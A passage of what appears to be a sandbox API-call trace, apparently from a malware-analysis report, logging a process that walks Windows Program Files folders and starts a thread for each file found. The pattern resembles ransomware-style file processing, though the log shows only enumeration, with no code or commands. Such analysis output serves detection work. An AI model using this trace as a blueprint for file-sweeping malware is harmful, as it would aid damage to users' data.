dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a0e8 [0045.998] wcscmp (_String1=".", _String2=".") returned 0 [0045.998] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.998] wcscmp (_String1="..", _String2=".") returned 1 [0045.998] wcscmp (_String1="..", _String2="..") returned 0 [0045.998] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0045.998] wcscmp (_String1="Framework", _String2=".") returned 1 [0045.998] wcscmp (_String1="Framework", _String2="..") returned 1 [0045.998] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x3ffd18 [0045.998] wcscpy (in: _Dest=0x3ffd18, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft" [0045.998] wcscat (in: _Dest=0x3ffd18, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\" [0045.998] wcscat (in: _Dest=0x3ffd18, _Source="Framework" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" [0045.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x3ffd18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244 [0046.001] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0046.002] FindClose (in: hFindFile=0x40a0e8 | out: hFindFile=0x40a0e8) returned 1 [0046.002] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424ab0) returned 1 [0046.002] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420e08) returned 1 [0046.002] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d40) returned 1 Thread: id = 123 os_tid = 0xbec [0046.003] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a2b0 [0046.003] wcscpy (in: _Dest=0x44a2b0, _Source="C:\\Program Files\\Windows Journal\\en-US" | out: _Dest="C:\\Program Files\\Windows Journal\\en-US") returned="C:\\Program Files\\Windows Journal\\en-US" [0046.003] wcscat (in: _Dest=0x44a2b0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\en-US\\") returned="C:\\Program Files\\Windows Journal\\en-US\\" [0046.003] wcscat (in: _Dest=0x44a2b0, _Source="*" | out: _Dest="C:\\Program Files\\Windows Journal\\en-US\\*") returned="C:\\Program Files\\Windows Journal\\en-US\\*" [0046.003] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424ab0 [0046.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440420 [0046.755] wcscmp (_String1=".", _String2=".") returned 0 [0046.755] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.755] wcscmp (_String1="..", _String2=".") returned 1 [0046.755] wcscmp (_String1="..", _String2="..") returned 0 [0046.755] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0046.755] wcscmp (_String1="JNTFiltr.dll.mui", _String2=".") returned 1 [0046.755] wcscmp (_String1="JNTFiltr.dll.mui", _String2="..") returned 1 [0046.755] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll.mui", cAlternateFileName="")) returned 1 [0046.755] wcscmp (_String1="jnwdui.dll.mui", _String2=".") returned 1 [0046.755] wcscmp (_String1="jnwdui.dll.mui", _String2="..") returned 1 [0046.755] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll.mui", cAlternateFileName="")) returned 1 [0046.755] wcscmp (_String1="jnwmon.dll.mui", _String2=".") returned 1 [0046.755] wcscmp (_String1="jnwmon.dll.mui", _String2="..") returned 1 [0046.755] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe.mui", cAlternateFileName="")) returned 1 [0046.755] wcscmp (_String1="Journal.exe.mui", _String2=".") returned 1 [0046.755] wcscmp (_String1="Journal.exe.mui", _String2="..") returned 1 [0046.755] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL.mui", cAlternateFileName="")) returned 1 [0046.755] wcscmp (_String1="MSPVWCTL.DLL.mui", _String2=".") returned 1 [0046.755] wcscmp (_String1="MSPVWCTL.DLL.mui", _String2="..") returned 1 [0046.755] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll.mui", cAlternateFileName="")) returned 1 [0046.755] wcscmp (_String1="NBMapTIP.dll.mui", _String2=".") returned 1 [0046.755] wcscmp (_String1="NBMapTIP.dll.mui", _String2="..") returned 1 [0046.755] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 1 [0046.756] wcscmp (_String1="PDIALOG.exe.mui", _String2=".") returned 1 [0046.756] wcscmp (_String1="PDIALOG.exe.mui", _String2="..") returned 1 [0046.756] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 0 [0046.756] FindClose (in: hFindFile=0x440420 | out: hFindFile=0x440420) returned 1 [0046.756] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424ab0) returned 1 [0046.756] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a2b0) returned 1 [0046.756] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413d30) returned 1 Thread: id = 124 os_tid = 0xbf0 [0046.005] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x445bd8 [0046.005] wcscpy (in: _Dest=0x445bd8, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0046.005] wcscat (in: _Dest=0x445bd8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0046.005] wcscat (in: _Dest=0x445bd8, _Source="*" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\*") returned="C:\\Program Files\\Windows Journal\\Templates\\*" [0046.005] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424d18 [0046.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440420 [0046.758] wcscmp (_String1=".", _String2=".") returned 0 [0046.758] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.758] wcscmp (_String1="..", _String2=".") returned 1 [0046.758] wcscmp (_String1="..", _String2="..") returned 0 [0046.758] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0046.758] wcscmp (_String1="blank.jtp", _String2=".") returned 1 [0046.758] wcscmp (_String1="blank.jtp", _String2="..") returned 1 [0046.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x4190b8 [0046.758] wcscpy (in: _Dest=0x4190b8, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0046.758] wcscat (in: _Dest=0x4190b8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0046.758] wcscat (in: _Dest=0x4190b8, _Source="blank.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" [0048.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4190b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0048.685] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5597007, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5597007, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46ca8869, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Line.jtp", cAlternateFileName="")) returned 1 [0048.685] wcscmp (_String1="Dotted_Line.jtp", _String2=".") returned 1 [0048.685] wcscmp (_String1="Dotted_Line.jtp", _String2="..") returned 1 [0048.685] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400d18 [0048.685] wcscpy (in: _Dest=0x400d18, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0048.685] wcscat (in: _Dest=0x400d18, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0048.685] wcscat (in: _Dest=0x400d18, _Source="Dotted_Line.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" [0048.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400d18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0048.686] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55bd164, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc55bd164, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x470d2eb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x361c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.jtp", cAlternateFileName="")) returned 1 [0048.686] wcscmp (_String1="Genko_1.jtp", _String2=".") returned 1 [0048.686] wcscmp (_String1="Genko_1.jtp", _String2="..") returned 1 [0048.686] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e460e8 [0048.686] wcscpy (in: _Dest=0x5e460e8, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0048.686] wcscat (in: _Dest=0x5e460e8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0048.687] wcscat (in: _Dest=0x5e460e8, _Source="Genko_1.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" [0048.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e460e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360 [0048.688] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc560941e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc560941e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47191587, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.jtp", cAlternateFileName="")) returned 1 [0048.688] wcscmp (_String1="Genko_2.jtp", _String2=".") returned 1 [0048.688] wcscmp (_String1="Genko_2.jtp", _String2="..") returned 1 [0048.688] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e46160 [0048.688] wcscpy (in: _Dest=0x5e46160, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0048.688] wcscat (in: _Dest=0x5e46160, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0048.688] wcscat (in: _Dest=0x5e46160, _Source="Genko_2.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" [0048.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c [0048.689] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc562f57b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc562f57b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x476ec6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.jtp", cAlternateFileName="")) returned 1 [0048.689] wcscmp (_String1="Graph.jtp", _String2=".") returned 1 [0048.689] wcscmp (_String1="Graph.jtp", _String2="..") returned 1 [0048.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5e461d8 [0048.689] wcscpy (in: _Dest=0x5e461d8, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0048.689] wcscat (in: _Dest=0x5e461d8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0048.689] wcscat (in: _Dest=0x5e461d8, _Source="Graph.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" [0048.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e461d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358 [0048.692] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc567b835, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc567b835, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47784c37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x26f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.jtp", cAlternateFileName="")) returned 1 [0048.692] wcscmp (_String1="Memo.jtp", _String2=".") returned 1 [0048.692] wcscmp (_String1="Memo.jtp", _String2="..") returned 1 [0048.692] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x421ab8 [0048.692] wcscpy (in: _Dest=0x421ab8, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0048.692] wcscat (in: _Dest=0x421ab8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0048.692] wcscat (in: _Dest=0x421ab8, _Source="Memo.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" [0048.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421ab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354 [0048.693] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56a1992, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56a1992, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47ea8dd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.jtp", cAlternateFileName="")) returned 1 [0048.693] wcscmp (_String1="Month_Calendar.jtp", _String2=".") returned 1 [0048.693] wcscmp (_String1="Month_Calendar.jtp", _String2="..") returned 1 [0048.693] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x4477e8 [0048.693] wcscpy (in: _Dest=0x4477e8, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0048.693] wcscat (in: _Dest=0x4477e8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0048.693] wcscat (in: _Dest=0x4477e8, _Source="Month_Calendar.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" [0048.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4477e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348 [0048.694] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56c7aef, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56c7aef, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.jtp", cAlternateFileName="")) returned 1 [0048.694] wcscmp (_String1="Music.jtp", _String2=".") returned 1 [0048.694] wcscmp (_String1="Music.jtp", _String2="..") returned 1 [0048.694] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5e46250 [0048.694] wcscpy (in: _Dest=0x5e46250, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0048.695] wcscat (in: _Dest=0x5e46250, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0048.695] wcscat (in: _Dest=0x5e46250, _Source="Music.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" [0048.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0048.696] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56edc4c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56edc4c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa95a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.jtp", cAlternateFileName="")) returned 1 [0048.696] wcscmp (_String1="Seyes.jtp", _String2=".") returned 1 [0048.696] wcscmp (_String1="Seyes.jtp", _String2="..") returned 1 [0048.696] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5e462c8 [0048.696] wcscpy (in: _Dest=0x5e462c8, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0048.696] wcscat (in: 